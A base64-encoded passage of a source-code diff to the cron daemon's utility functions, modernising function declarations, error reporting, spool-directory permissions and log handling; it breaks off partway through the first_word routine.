MTgsMzEgKzEzNiwzMCBAQAogI2lmICFERUJVR0dJTkcKIAogCXByaW50ZigidGhpcyBwcm9ncmFt IHdhcyBjb21waWxlZCB3aXRob3V0IGRlYnVnZ2luZyBlbmFibGVkXG4iKTsKLQlyZXR1cm4gRkFM U0U7CisJcmV0dXJuIChGQUxTRSk7CiAKICNlbHNlIC8qIERFQlVHR0lORyAqLwogCi0JY2hhcgkq cGMgPSBmbGFnczsKKwljb25zdCBjaGFyICpwYyA9IGZsYWdzOwogCiAJRGVidWdGbGFncyA9IDA7 CiAKIAl3aGlsZSAoKnBjKSB7Ci0JCWNoYXIJKip0ZXN0OwotCQlpbnQJbWFzazsKKwkJY29uc3Qg Y2hhcgkqKnRlc3Q7CisJCWludAkJbWFzazsKIAogCQkvKiB0cnkgdG8gZmluZCBkZWJ1ZyBmbGFn IG5hbWUgaW4gb3VyIGxpc3QuCiAJCSAqLwotCQlmb3IgKAl0ZXN0ID0gRGVidWdGbGFnTmFtZXMs IG1hc2sgPSAxOwotCQkJKnRlc3QgJiYgc3RyY21wX3VudGlsKCp0ZXN0LCBwYywgJywnKTsKLQkJ CXRlc3QrKywgbWFzayA8PD0gMQotCQkgICAgKQotCQkJOworCQlmb3IgKHRlc3QgPSBEZWJ1Z0Zs YWdOYW1lcywgbWFzayA9IDE7CisJCSAgICAgKnRlc3QgIT0gTlVMTCAmJiBzdHJjbXBfdW50aWwo KnRlc3QsIHBjLCAnLCcpOworCQkgICAgIHRlc3QrKywgbWFzayA8PD0gMSkKKwkJCU5VTEw7CiAK IAkJaWYgKCEqdGVzdCkgewogCQkJZnByaW50ZihzdGRlcnIsCiAJCQkJInVucmVjb2duaXplZCBk ZWJ1ZyBmbGFnIDwlcz4gPCVzPlxuIiwKIAkJCQlmbGFncywgcGMpOwotCQkJcmV0dXJuIEZBTFNF OworCQkJcmV0dXJuIChGQUxTRSk7CiAJCX0KIAogCQlEZWJ1Z0ZsYWdzIHw9IG1hc2s7CkBAIC0x NTYsNyArMTczLDcgQEAKIAl9CiAKIAlpZiAoRGVidWdGbGFncykgewotCQlpbnQJZmxhZzsKKwkJ aW50IGZsYWc7CiAKIAkJZnByaW50ZihzdGRlcnIsICJkZWJ1ZyBmbGFncyBlbmFibGVkOiIpOwog CkBAIC0xNjYsOTAgKzE4MywxMDUgQEAKIAkJZnByaW50ZihzdGRlcnIsICJcbiIpOwogCX0KIAot CXJldHVybiBUUlVFOworCXJldHVybiAoVFJVRSk7CiAKICNlbmRpZiAvKiBERUJVR0dJTkcgKi8K IH0KIAotCiB2b2lkCi1zZXRfY3Jvbl91aWQoKQoteworc2V0X2Nyb25fdWlkKHZvaWQpIHsKICNp ZiBkZWZpbmVkKEJTRCkgfHwgZGVmaW5lZChQT1NJWCkKLQlpZiAoc2V0ZXVpZChST09UX1VJRCkg PCBPSykKLQkJZXJyKEVSUk9SX0VYSVQsICJzZXRldWlkIik7CisJaWYgKHNldGV1aWQoUk9PVF9V SUQpIDwgT0spIHsKKwkJcGVycm9yKCJzZXRldWlkIik7CisJCWV4aXQoRVJST1JfRVhJVCk7CisJ fQogI2Vsc2UKLQlpZiAoc2V0dWlkKFJPT1RfVUlEKSA8IE9LKQotCQllcnIoRVJST1JfRVhJVCwg InNldHVpZCIpOworCWlmIChzZXR1aWQoUk9PVF9VSUQpIDwgT0spIHsKKwkJcGVycm9yKCJzZXR1 aWQiKTsKKwkJZXhpdChFUlJPUl9FWElUKTsKKwl9CiAjZW5kaWYKIH0KIAotCiB2b2lkCi1zZXRf Y3Jvbl9jd2QoKQotewotCXN0cnVjdCBzdGF0CXNiOworc2V0X2Nyb25fY3dkKHZvaWQpIHsKKwlz dHJ1Y3Qgc3RhdCBzYjsKKwlzdHJ1Y3QgZ3JvdXAgKmdycCA9IE5VTEw7CiAKKyNpZmRlZiBDUk9O X0dST1VQCisJZ3JwID0gZ2V0Z3JuYW0oQ1JPTl9HUk9VUCk7CisjZW5kaWYKIAkvKiBmaXJzdCBj aGVjayBmb3IgQ1JPTkRJUiAoIi92YXIvY3JvbiIgb3Igc29tZSBzdWNoKQogCSAqLwogCWlmIChz dGF0KENST05ESVIsICZzYikgPCBPSyAmJiBlcnJubyA9PSBFTk9FTlQpIHsKLQkJd2FybigiJXMi LCBDUk9ORElSKTsKLQkJaWYgKE9LID09IG1rZGlyKENST05ESVIsIDA3MDApKSB7Ci0JCQl3YXJu eCgiJXM6IGNyZWF0ZWQiLCBDUk9ORElSKTsKKwkJcGVycm9yKENST05ESVIpOworCQlpZiAoT0sg PT0gbWtkaXIoQ1JPTkRJUiwgMDcxMCkpIHsKKwkJCWZwcmludGYoc3RkZXJyLCAiJXM6IGNyZWF0 ZWRcbiIsIENST05ESVIpOwogCQkJc3RhdChDUk9ORElSLCAmc2IpOwogCQl9IGVsc2UgewotCQkJ ZXJyKEVSUk9SX0VYSVQsICIlczogbWtkaXIiLCBDUk9ORElSKTsKKwkJCWZwcmludGYoc3RkZXJy LCAiJXM6ICIsIENST05ESVIpOworCQkJcGVycm9yKCJta2RpciIpOworCQkJZXhpdChFUlJPUl9F WElUKTsKIAkJfQogCX0KLQlpZiAoIShzYi5zdF9tb2RlICYgU19JRkRJUikpCi0JCWVycihFUlJP Ul9FWElULCAiJyVzJyBpcyBub3QgYSBkaXJlY3RvcnksIGJhaWxpbmcgb3V0IiwgQ1JPTkRJUik7 Ci0JaWYgKGNoZGlyKENST05ESVIpIDwgT0spCi0JCWVycihFUlJPUl9FWElULCAiY2Fubm90IGNo ZGlyKCVzKSwgYmFpbGluZyBvdXQiLCBDUk9ORElSKTsKKwlpZiAoIVNfSVNESVIoc2Iuc3RfbW9k ZSkpIHsKKwkJZnByaW50ZihzdGRlcnIsICInJXMnIGlzIG5vdCBhIGRpcmVjdG9yeSwgYmFpbGlu ZyBvdXQuXG4iLAorCQkJQ1JPTkRJUik7CisJCWV4aXQoRVJST1JfRVhJVCk7CisJfQorCWlmIChj aGRpcihDUk9ORElSKSA8IE9LKSB7CisJCWZwcmludGYoc3RkZXJyLCAiY2Fubm90IGNoZGlyKCVz KSwgYmFpbGluZyBvdXQuXG4iLCBDUk9ORElSKTsKKwkJcGVycm9yKENST05ESVIpOworCQlleGl0 KEVSUk9SX0VYSVQpOworCX0KIAogCS8qIENST05ESVIgb2theSAobm93PT1DV0QpLCBub3cgbG9v ayBhdCBTUE9PTF9ESVIgKCJ0YWJzIiBvciBzb21lIHN1Y2gpCiAJICovCiAJaWYgKHN0YXQoU1BP T0xfRElSLCAmc2IpIDwgT0sgJiYgZXJybm8gPT0gRU5PRU5UKSB7Ci0JCXdhcm4oIiVzIiwgU1BP T0xfRElSKTsKKwkJcGVycm9yKFNQT09MX0RJUik7CiAJCWlmIChPSyA9PSBta2RpcihTUE9PTF9E SVIsIDA3MDApKSB7Ci0JCQl3YXJueCgiJXM6IGNyZWF0ZWQiLCBTUE9PTF9ESVIpOworCQkJZnBy aW50ZihzdGRlcnIsICIlczogY3JlYXRlZFxuIiwgU1BPT0xfRElSKTsKIAkJCXN0YXQoU1BPT0xf RElSLCAmc2IpOwogCQl9IGVsc2UgewotCQkJZXJyKEVSUk9SX0VYSVQsICIlczogbWtkaXIiLCBT UE9PTF9ESVIpOworCQkJZnByaW50ZihzdGRlcnIsICIlczogIiwgU1BPT0xfRElSKTsKKwkJCXBl cnJvcigibWtkaXIiKTsKKwkJCWV4aXQoRVJST1JfRVhJVCk7CiAJCX0KIAl9Ci0JaWYgKCEoc2Iu c3RfbW9kZSAmIFNfSUZESVIpKQotCQllcnIoRVJST1JfRVhJVCwgIiclcycgaXMgbm90IGEgZGly ZWN0b3J5LCBiYWlsaW5nIG91dCIsIFNQT09MX0RJUik7CisJaWYgKCFTX0lTRElSKHNiLnN0X21v ZGUpKSB7CisJCWZwcmludGYoc3RkZXJyLCAiJyVzJyBpcyBub3QgYSBkaXJlY3RvcnksIGJhaWxp bmcgb3V0LlxuIiwKKwkJCVNQT09MX0RJUik7CisJCWV4aXQoRVJST1JfRVhJVCk7CisJfQorCWlm IChncnAgIT0gTlVMTCkgeworCQlpZiAoc2Iuc3RfZ2lkICE9IGdycC0+Z3JfZ2lkKQorCQkJY2hv d24oU1BPT0xfRElSLCAtMSwgZ3JwLT5ncl9naWQpOworCQlpZiAoc2Iuc3RfbW9kZSAhPSAwMTcz MCkKKwkJCWNobW9kKFNQT09MX0RJUiwgMDE3MzApOworCX0KIH0KIAotCiAvKiBnZXRfY2hhcihm aWxlKSA6IGxpa2UgZ2V0YygpIGJ1dCBpbmNyZW1lbnQgTGluZU51bWJlciBvbiBuZXdsaW5lcwog ICovCiBpbnQKLWdldF9jaGFyKGZpbGUpCi0JRklMRQkqZmlsZTsKLXsKLQlpbnQJY2g7CitnZXRf Y2hhcihGSUxFICpmaWxlKSB7CisJaW50IGNoOwogCiAJY2ggPSBnZXRjKGZpbGUpOwogCWlmIChj aCA9PSAnXG4nKQogCQlTZXRfTGluZU51bShMaW5lTnVtYmVyICsgMSkKLQlyZXR1cm4gY2g7CisJ cmV0dXJuIChjaCk7CiB9CiAKLQogLyogdW5nZXRfY2hhcihjaCwgZmlsZSkgOiBsaWtlIHVuZ2V0 YyBidXQgZG8gTGluZU51bWJlciBwcm9jZXNzaW5nCiAgKi8KIHZvaWQKLXVuZ2V0X2NoYXIoY2gs IGZpbGUpCi0JaW50CWNoOwotCUZJTEUJKmZpbGU7Ci17Cit1bmdldF9jaGFyKGludCBjaCwgRklM RSAqZmlsZSkgewogCXVuZ2V0YyhjaCwgZmlsZSk7CiAJaWYgKGNoID09ICdcbicpCiAJCVNldF9M aW5lTnVtKExpbmVOdW1iZXIgLSAxKQogfQogCi0KIC8qIGdldF9zdHJpbmcoc3RyLCBtYXgsIGZp bGUsIHRlcm1zdHIpIDogbGlrZSBmZ2V0cygpIGJ1dAogICoJCSgxKSBoYXMgdGVybWluYXRvciBz dHJpbmcgd2hpY2ggc2hvdWxkIGluY2x1ZGUgXG4KICAqCQkoMikgd2lsbCBhbHdheXMgbGVhdmUg cm9vbSBmb3IgdGhlIG51bGwKQEAgLTI1NywxMyArMjg5LDggQEAKICAqCQkoNCkgcmV0dXJucyBF T0Ygb3IgdGVybWluYXRpbmcgY2hhcmFjdGVyLCB3aGljaGV2ZXIKICAqLwogaW50Ci1nZXRfc3Ry aW5nKHN0cmluZywgc2l6ZSwgZmlsZSwgdGVybXMpCi0JY2hhcgkqc3RyaW5nOwotCWludAlzaXpl OwotCUZJTEUJKmZpbGU7Ci0JY2hhcgkqdGVybXM7Ci17Ci0JaW50CWNoOworZ2V0X3N0cmluZyhj aGFyICpzdHJpbmcsIGludCBzaXplLCBGSUxFICpmaWxlLCBjaGFyICp0ZXJtcykgeworCWludCBj aDsKIAogCXdoaWxlIChFT0YgIT0gKGNoID0gZ2V0X2NoYXIoZmlsZSkpICYmICFzdHJjaHIodGVy bXMsIGNoKSkgewogCQlpZiAoc2l6ZSA+IDEpIHsKQEAgLTI3NSwxNyArMzAyLDE0IEBACiAJaWYg KHNpemUgPiAwKQogCQkqc3RyaW5nID0gJ1wwJzsKIAotCXJldHVybiBjaDsKKwlyZXR1cm4gKGNo KTsKIH0KIAotCiAvKiBza2lwX2NvbW1lbnRzKGZpbGUpIDogcmVhZCBwYXN0IGNvbW1lbnQgKGlm IGFueSkKICAqLwogdm9pZAotc2tpcF9jb21tZW50cyhmaWxlKQotCUZJTEUJKmZpbGU7Ci17Ci0J aW50CWNoOworc2tpcF9jb21tZW50cyhGSUxFICpmaWxlKSB7CisJaW50IGNoOwogCiAJd2hpbGUg KEVPRiAhPSAoY2ggPSBnZXRfY2hhcihmaWxlKSkpIHsKIAkJLyogY2ggaXMgbm93IHRoZSBmaXJz dCBjaGFyYWN0ZXIgb2YgYSBsaW5lLgpAQCAtMzE4LDkyICszNDIsODcgQEAKIAkJdW5nZXRfY2hh cihjaCwgZmlsZSk7CiB9CiAKLQotLyogaW50IGluX2ZpbGUoY2hhciAqc3RyaW5nLCBGSUxFICpm aWxlKQorLyogaW50IGluX2ZpbGUoY29uc3QgY2hhciAqc3RyaW5nLCBGSUxFICpmaWxlLCBpbnQg ZXJyb3IpCiAgKglyZXR1cm4gVFJVRSBpZiBvbmUgb2YgdGhlIGxpbmVzIGluIGZpbGUgbWF0Y2hl cyBzdHJpbmcgZXhhY3RseSwKLSAqCUZBTFNFIG90aGVyd2lzZS4KKyAqCUZBTFNFIGlmIG5vIGxp bmVzIG1hdGNoLCBhbmQgZXJyb3Igb24gZXJyb3IuCiAgKi8KIHN0YXRpYyBpbnQKLWluX2ZpbGUo Y2hhciAqc3RyaW5nLCBGSUxFICpmaWxlKQoraW5fZmlsZShjb25zdCBjaGFyICpzdHJpbmcsIEZJ TEUgKmZpbGUsIGludCBlcnJvcikKIHsKIAljaGFyIGxpbmVbTUFYX1RFTVBTVFJdOworCWNoYXIg KmVuZHA7CiAKLQlyZXdpbmQoZmlsZSk7CisJaWYgKGZzZWVrKGZpbGUsIDBMLCBTRUVLX1NFVCkp CisJCXJldHVybiAoZXJyb3IpOwogCXdoaWxlIChmZ2V0cyhsaW5lLCBNQVhfVEVNUFNUUiwgZmls ZSkpIHsKLQkJaWYgKGxpbmVbMF0gIT0gJ1wwJykKLQkJCWlmIChsaW5lW3N0cmxlbihsaW5lKS0x XSA9PSAnXG4nKQotCQkJCWxpbmVbc3RybGVuKGxpbmUpLTFdID0gJ1wwJzsKLQkJaWYgKDAgPT0g c3RyY21wKGxpbmUsIHN0cmluZykpCi0JCQlyZXR1cm4gVFJVRTsKKwkJaWYgKGxpbmVbMF0gIT0g J1wwJykgeworCQkJZW5kcCA9ICZsaW5lW3N0cmxlbihsaW5lKSAtIDFdOworCQkJaWYgKCplbmRw ICE9ICdcbicpCisJCQkJcmV0dXJuIChlcnJvcik7CisJCQkqZW5kcCA9ICdcMCc7CisJCQlpZiAo MCA9PSBzdHJjbXAobGluZSwgc3RyaW5nKSkKKwkJCQlyZXR1cm4gKFRSVUUpOworCQl9CiAJfQot CXJldHVybiBGQUxTRTsKKwlpZiAoZmVycm9yKGZpbGUpKQorCQlyZXR1cm4gKGVycm9yKTsKKwly ZXR1cm4gKEZBTFNFKTsKIH0KIAotCiAvKiBpbnQgYWxsb3dlZChjaGFyICp1c2VybmFtZSkKLSAq CXJldHVybnMgVFJVRSBpZiAoQUxMT1dfRklMRSBleGlzdHMgYW5kIHVzZXIgaXMgbGlzdGVkKQot ICoJb3IgKERFTllfRklMRSBleGlzdHMgYW5kIHVzZXIgaXMgTk9UIGxpc3RlZCkKLSAqCW9yIChu ZWl0aGVyIGZpbGUgZXhpc3RzIGJ1dCB1c2VyPT0icm9vdCIgc28gaXQncyBva2F5KQorICogICAg ICByZXR1cm5zIFRSVUUgaWYgKEFMTE9XX0ZJTEUgZXhpc3RzIGFuZCB1c2VyIGlzIGxpc3RlZCkK KyAqICAgICAgb3IgKERFTllfRklMRSBleGlzdHMgYW5kIHVzZXIgaXMgTk9UIGxpc3RlZCkKKyAq ICAgICAgb3IgKG5laXRoZXIgZmlsZSBleGlzdHMgYnV0IHVzZXI9PSJyb290IiBzbyBpdCdzIG9r YXkpCiAgKi8KKwogaW50Ci1hbGxvd2VkKHVzZXJuYW1lKQotCWNoYXIgKnVzZXJuYW1lOworYWxs b3dlZChjaGFyICp1c2VybmFtZSkKIHsKLQlGSUxFCSphbGxvdywgKmRlbnk7Ci0JaW50CWlzYWxs b3dlZDsKKyAgICAgICAgRklMRSAgICAqYWxsb3csICpkZW55OworICAgICAgICBpbnQgICAgIGlz YWxsb3dlZDsKIAotCWlzYWxsb3dlZCA9IEZBTFNFOworICAgICAgICBpc2FsbG93ZWQgPSBGQUxT RTsKIAotCWRlbnkgPSBOVUxMOworICAgICAgICBkZW55ID0gTlVMTDsKICNpZiBkZWZpbmVkKEFM TE9XX0ZJTEUpICYmIGRlZmluZWQoREVOWV9GSUxFKQotCWlmICgoYWxsb3cgPSBmb3BlbihBTExP V19GSUxFLCAiciIpKSA9PSBOVUxMICYmIGVycm5vICE9IEVOT0VOVCkKLQkJZ290byBvdXQ7Ci0J aWYgKChkZW55ID0gZm9wZW4oREVOWV9GSUxFLCAiciIpKSA9PSBOVUxMICYmIGVycm5vICE9IEVO T0VOVCkKLQkJZ290byBvdXQ7Ci0JRGVidWcoRE1JU0MsICgiYWxsb3cvZGVueSBlbmFibGVkLCAl ZC8lZFxuIiwgISFhbGxvdywgISFkZW55KSkKKyAgICAgICAgaWYgKChhbGxvdyA9IGZvcGVuKEFM TE9XX0ZJTEUsICJyIikpID09IE5VTEwgJiYgZXJybm8gIT0gRU5PRU5UKQorICAgICAgICAgICAg ICAgIGdvdG8gb3V0OworICAgICAgICBpZiAoKGRlbnkgPSBmb3BlbihERU5ZX0ZJTEUsICJyIikp ID09IE5VTEwgJiYgZXJybm8gIT0gRU5PRU5UKQorICAgICAgICAgICAgICAgIGdvdG8gb3V0Owor ICAgICAgICBEZWJ1ZyhETUlTQywgKCJhbGxvdy9kZW55IGVuYWJsZWQsICVkLyVkXG4iLCAhIWFs bG93LCAhIWRlbnkpKQogI2Vsc2UKLQlhbGxvdyA9IE5VTEw7CisgICAgICAgIGFsbG93ID0gTlVM TDsKICNlbmRpZgogCi0JaWYgKGFsbG93KQotCQlpc2FsbG93ZWQgPSBpbl9maWxlKHVzZXJuYW1l LCBhbGxvdyk7Ci0JZWxzZSBpZiAoZGVueSkKLQkJaXNhbGxvd2VkID0gIWluX2ZpbGUodXNlcm5h bWUsIGRlbnkpOwotCWVsc2UgeworICAgICAgICBpZiAoYWxsb3cpCisgICAgICAgICAgICAgICAg aXNhbGxvd2VkID0gaW5fZmlsZSh1c2VybmFtZSwgYWxsb3csIEZBTFNFKTsKKyAgICAgICAgZWxz ZSBpZiAoZGVueSkKKyAgICAgICAgICAgICAgICBpc2FsbG93ZWQgPSAhaW5fZmlsZSh1c2VybmFt ZSwgZGVueSwgRkFMU0UpOworICAgICAgICBlbHNlIHsKICNpZiBkZWZpbmVkKEFMTE9XX09OTFlf Uk9PVCkKLQkJaXNhbGxvd2VkID0gKHN0cmNtcCh1c2VybmFtZSwgUk9PVF9VU0VSKSA9PSAwKTsK KyAgICAgICAgICAgICAgICBpc2FsbG93ZWQgPSAoc3RyY21wKHVzZXJuYW1lLCBST09UX1VTRVIp ID09IDApOwogI2Vsc2UKLQkJaXNhbGxvd2VkID0gVFJVRTsgCisgICAgICAgICAgICAgICAgaXNh bGxvd2VkID0gVFJVRTsgCiAjZW5kaWYKLQl9Ci1vdXQ6CWlmIChhbGxvdykKLQkJZmNsb3NlKGFs bG93KTsKLQlpZiAoZGVueSkKLQkJZmNsb3NlKGRlbnkpOwotCXJldHVybiAoaXNhbGxvd2VkKTsK KyAgICAgICAgfQorb3V0OiAgICBpZiAoYWxsb3cpCisgICAgICAgICAgICAgICAgZmNsb3NlKGFs bG93KTsKKyAgICAgICAgaWYgKGRlbnkpCisgICAgICAgICAgICAgICAgZmNsb3NlKGRlbnkpOwor ICAgICAgICByZXR1cm4gKGlzYWxsb3dlZCk7CiB9CiAKLQogdm9pZAotbG9nX2l0KHVzZXJuYW1l LCB4cGlkLCBldmVudCwgZGV0YWlsKQotCWNoYXIJKnVzZXJuYW1lOwotCWludAl4cGlkOwotCWNo YXIJKmV2ZW50OwotCWNoYXIJKmRldGFpbDsKLXsKK2xvZ19pdChjb25zdCBjaGFyICp1c2VybmFt ZSwgUElEX1QgeHBpZCwgY29uc3QgY2hhciAqZXZlbnQsIGNvbnN0IGNoYXIgKmRldGFpbCkgewog I2lmIGRlZmluZWQoTE9HX0ZJTEUpIHx8IERFQlVHR0lORwotCVBJRF9UCQkJcGlkID0geHBpZDsK KwlQSURfVCBwaWQgPSB4cGlkOwogI2VuZGlmCiAjaWYgZGVmaW5lZChMT0dfRklMRSkKLQljaGFy CQkJKm1zZzsKLQlUSU1FX1QJCQlub3cgPSB0aW1lKChUSU1FX1QpIDApOwotCXJlZ2lzdGVyIHN0 cnVjdCB0bQkqdCA9IGxvY2FsdGltZSgmbm93KTsKKwljaGFyICptc2c7CisJVElNRV9UIG5vdyA9 IHRpbWUoKFRJTUVfVCkgMCk7CisJc3RydWN0IHRtICp0ID0gbG9jYWx0aW1lKCZub3cpOwogI2Vu ZGlmIC8qTE9HX0ZJTEUqLwogCi0jaWYgZGVmaW5lZChTWVNMT0cpCi0Jc3RhdGljIGludAkJc3lz bG9nX29wZW4gPSAwOwotI2VuZGlmCi0KICNpZiBkZWZpbmVkKExPR19GSUxFKQogCS8qIHdlIGFz c3VtZSB0aGF0IE1BWF9URU1QU1RSIHdpbGwgaG9sZCB0aGUgZGF0ZSwgdGltZSwgJnB1bmN0dWF0 aW9uLgogCSAqLwpAQCAtNDExLDkwICs0MzAsODkgQEAKIAkJICAgICArIHN0cmxlbihldmVudCkK IAkJICAgICArIHN0cmxlbihkZXRhaWwpCiAJCSAgICAgKyBNQVhfVEVNUFNUUik7Ci0KIAlpZiAo bXNnID09IE5VTEwpCi0JCXdhcm54KCJmYWlsZWQgdG8gYWxsb2NhdGUgbWVtb3J5IGZvciBsb2cg bWVzc2FnZSIpOwotCWVsc2UgeworCQlyZXR1cm47CisKKwlpZiAoTG9nRkQgPCBPSykgeworCQlM b2dGRCA9IG9wZW4oTE9HX0ZJTEUsIE9fV1JPTkxZfE9fQVBQRU5EfE9fQ1JFQVQsIDA2MDApOwog CQlpZiAoTG9nRkQgPCBPSykgewotCQkJTG9nRkQgPSBvcGVuKExPR19GSUxFLCBPX1dST05MWXxP X0FQUEVORHxPX0NSRUFULCAwNjAwKTsKLQkJCWlmIChMb2dGRCA8IE9LKSB7Ci0JCQkJd2Fybigi Y2FuJ3Qgb3BlbiBsb2cgZmlsZSAlcyIsIExPR19GSUxFKTsKLQkJCX0gZWxzZSB7Ci0JCQkJKHZv aWQpIGZjbnRsKExvZ0ZELCBGX1NFVEZELCAxKTsKLQkJCX0KKwkJCWZwcmludGYoc3RkZXJyLCAi JXM6IGNhbid0IG9wZW4gbG9nIGZpbGVcbiIsCisJCQkJUHJvZ3JhbU5hbWUpOworCQkJcGVycm9y KExPR19GSUxFKTsKKwkJfSBlbHNlIHsKKwkJCSh2b2lkKSBmY250bChMb2dGRCwgRl9TRVRGRCwg MSk7CiAJCX0KKwl9CiAKLQkJLyogd2UgaGF2ZSB0byBzcHJpbnRmKCkgaXQgYmVjYXVzZSBmcHJp bnRmKCkgZG9lc24ndCBhbHdheXMKLQkJICogd3JpdGUgZXZlcnl0aGluZyBvdXQgaW4gb25lIGNo dW5rIGFuZCB0aGlzIGhhcyB0byBiZQotCQkgKiBhdG9taWNhbGx5IGFwcGVuZGVkIHRvIHRoZSBs b2cgZmlsZS4KLQkJICovCi0JCXNwcmludGYobXNnLCAiJXMgKCUwMmQvJTAyZC0lMDJkOiUwMmQ6 JTAyZC0lZCkgJXMgKCVzKVxuIiwKLQkJCXVzZXJuYW1lLAotCQkJdC0+dG1fbW9uKzEsIHQtPnRt X21kYXksIHQtPnRtX2hvdXIsIHQtPnRtX21pbiwKLQkJCXQtPnRtX3NlYywgcGlkLCBldmVudCwg ZGV0YWlsKTsKLQotCQkvKiB3ZSBoYXZlIHRvIHJ1biBzdHJsZW4oKSBiZWNhdXNlIHNwcmludGYo KSByZXR1cm5zIChjaGFyKikKLQkJICogb24gb2xkIEJTRC4KLQkJICovCi0JCWlmIChMb2dGRCA8 IE9LIHx8IHdyaXRlKExvZ0ZELCBtc2csIHN0cmxlbihtc2cpKSA8IE9LKSB7Ci0JCQlpZiAoTG9n RkQgPj0gT0spCi0JCQkJd2FybigiJXMiLCBMT0dfRklMRSk7Ci0JCQl3YXJueCgiY2FuJ3Qgd3Jp dGUgdG8gbG9nIGZpbGUiKTsKLQkJCXdyaXRlKFNUREVSUiwgbXNnLCBzdHJsZW4obXNnKSk7Ci0J CX0KKwkvKiB3ZSBoYXZlIHRvIHNwcmludGYoKSBpdCBiZWNhdXNlIGZwcmludGYoKSBkb2Vzbid0 IGFsd2F5cyB3cml0ZQorCSAqIGV2ZXJ5dGhpbmcgb3V0IGluIG9uZSBjaHVuayBhbmQgdGhpcyBo YXMgdG8gYmUgYXRvbWljYWxseSBhcHBlbmRlZAorCSAqIHRvIHRoZSBsb2cgZmlsZS4KKwkgKi8K KwlzcHJpbnRmKG1zZywgIiVzICglMDJkLyUwMmQtJTAyZDolMDJkOiUwMmQtJWQpICVzICglcylc biIsCisJCXVzZXJuYW1lLAorCQl0LT50bV9tb24rMSwgdC0+dG1fbWRheSwgdC0+dG1faG91ciwg dC0+dG1fbWluLCB0LT50bV9zZWMsIHBpZCwKKwkJZXZlbnQsIGRldGFpbCk7CiAKLQkJZnJlZSht c2cpOworCS8qIHdlIGhhdmUgdG8gcnVuIHN0cmxlbigpIGJlY2F1c2Ugc3ByaW50ZigpIHJldHVy bnMgKGNoYXIqKSBvbiBvbGQgQlNECisJICovCisJaWYgKExvZ0ZEIDwgT0sgfHwgd3JpdGUoTG9n RkQsIG1zZywgc3RybGVuKG1zZykpIDwgT0spIHsKKwkJaWYgKExvZ0ZEID49IE9LKQorCQkJcGVy cm9yKExPR19GSUxFKTsKKwkJZnByaW50ZihzdGRlcnIsICIlczogY2FuJ3Qgd3JpdGUgdG8gbG9n IGZpbGVcbiIsIFByb2dyYW1OYW1lKTsKKwkJd3JpdGUoU1RERVJSLCBtc2csIHN0cmxlbihtc2cp KTsKIAl9CisKKwlmcmVlKG1zZyk7CiAjZW5kaWYgLypMT0dfRklMRSovCiAKICNpZiBkZWZpbmVk KFNZU0xPRykKIAlpZiAoIXN5c2xvZ19vcGVuKSB7Ci0JCS8qIHdlIGRvbid0IHVzZSBMT0dfUElE IHNpbmNlIHRoZSBwaWQgcGFzc2VkIHRvIHVzIGJ5Ci0JCSAqIG91ciBjbGllbnQgbWF5IG5vdCBi ZSBvdXIgb3duLiAgdGhlcmVmb3JlIHdlIHdhbnQgdG8KLQkJICogcHJpbnQgdGhlIHBpZCBvdXJz ZWx2ZXMuCi0JCSAqLwogIyBpZmRlZiBMT0dfREFFTU9OCi0JCW9wZW5sb2coUHJvZ3JhbU5hbWUs IExPR19QSUQsIExPR19DUk9OKTsKKwkJb3BlbmxvZyhQcm9ncmFtTmFtZSwgTE9HX1BJRCwgRkFD SUxJVFkpOwogIyBlbHNlCiAJCW9wZW5sb2coUHJvZ3JhbU5hbWUsIExPR19QSUQpOwogIyBlbmRp ZgogCQlzeXNsb2dfb3BlbiA9IFRSVUU7CQkvKiBhc3N1bWUgb3BlbmxvZyBzdWNjZXNzICovCiAJ fQogCi0Jc3lzbG9nKExPR19JTkZPLCAiKCVzKSAlcyAoJXMpXG4iLCB1c2VybmFtZSwgZXZlbnQs IGRldGFpbCk7CisJc3lzbG9nKExPR19JTkZPLCAiKCVzKSAlcyAoJXMpIiwgdXNlcm5hbWUsIGV2 ZW50LCBkZXRhaWwpOwogCiAjZW5kaWYgLypTWVNMT0cqLwogCiAjaWYgREVCVUdHSU5HCiAJaWYg KERlYnVnRmxhZ3MpIHsKLQkJZnByaW50ZihzdGRlcnIsICJsb2dfaXQ6ICglcyAlZCkgJXMgKCVz KVxuIiwKLQkJCXVzZXJuYW1lLCBwaWQsIGV2ZW50LCBkZXRhaWwpOworCQlmcHJpbnRmKHN0ZGVy ciwgImxvZ19pdDogKCVzICVsZCkgJXMgKCVzKVxuIiwKKwkJCXVzZXJuYW1lLCAobG9uZylwaWQs IGV2ZW50LCBkZXRhaWwpOwogCX0KICNlbmRpZgogfQogCi0KIHZvaWQKLWxvZ19jbG9zZSgpIHsK K2xvZ19jbG9zZSh2b2lkKSB7CiAJaWYgKExvZ0ZEICE9IEVSUikgewogCQljbG9zZShMb2dGRCk7 CiAJCUxvZ0ZEID0gRVJSOwogCX0KKyNpZiBkZWZpbmVkKFNZU0xPRykKKwljbG9zZWxvZygpOwor CXN5c2xvZ19vcGVuID0gRkFMU0U7CisjZW5kaWYgLypTWVNMT0cqLwogfQogCi0KLS8qIHR3byB3 YXJuaW5nczoKKy8qIGNoYXIgKmZpcnN0X3dvcmQoY2hhciAqcywgY2hhciAqdCkKKyAqCXJldHVy biBwb2ludGVyIHRvIGZpcnN0IHdvcmQKKyAqIHBhcmFtZXRlcnM6CisgKglzIC0gc3RyaW5nIHdl IHdhbnQgdGhlIGZpcnN0IHdvcmQgb2YKKyAqCXQgLSB0ZXJtaW5hdG9ycywgaW1wbGljaXRseSBp bmNsdWRpbmcgXDAKKyAqIHdhcm5pbmdzOgogICoJKDEpIHRoaXMgcm91dGluZSBpcyBmYWlybHkg c2xvdwogICoJKDIpIGl0IHJldHVybnMgYSBwb2ludGVyIHRvIHN0YXRpYyBzdG9yYWdlCiAgKi8K IGNoYXIgKgotZmlyc3Rfd29yZChzLCB0KQotCXJlZ2lzdGVyIGNoYXIgKnM7CS8qIHN0cmluZyB3 ZSB3YW50IHRoZSBmaXJzdCB3b3JkIG9mICovCi0JcmVnaXN0ZXIgY2hhciAqdDsJLyogdGVybWlu YXRvcnMsIGltcGxpY2l0bHkgaW5jbHVkaW5nIFwwICovCi17CitmaXJzdF93b3JkKGNoYXIgKnMs IGNoYXIgKnQpIHsKIAlzdGF0aWMgY2hhciByZXRidWZbMl1bTUFYX1RFTVBTVFIgKyAxXTsJLyog c3VyZSB3aXNoIEMgaGFkIEdDICovCiAJc3RhdGljIGludCByZXRzZWwgPSAwOwotCXJlZ2lzdGVy IGNoYXIgKnJiLCAqcnA7CisJY2hhciAqcmIsICpycDsKIAogCS8qIHNlbGVjdCBhIHJldHVybiBi 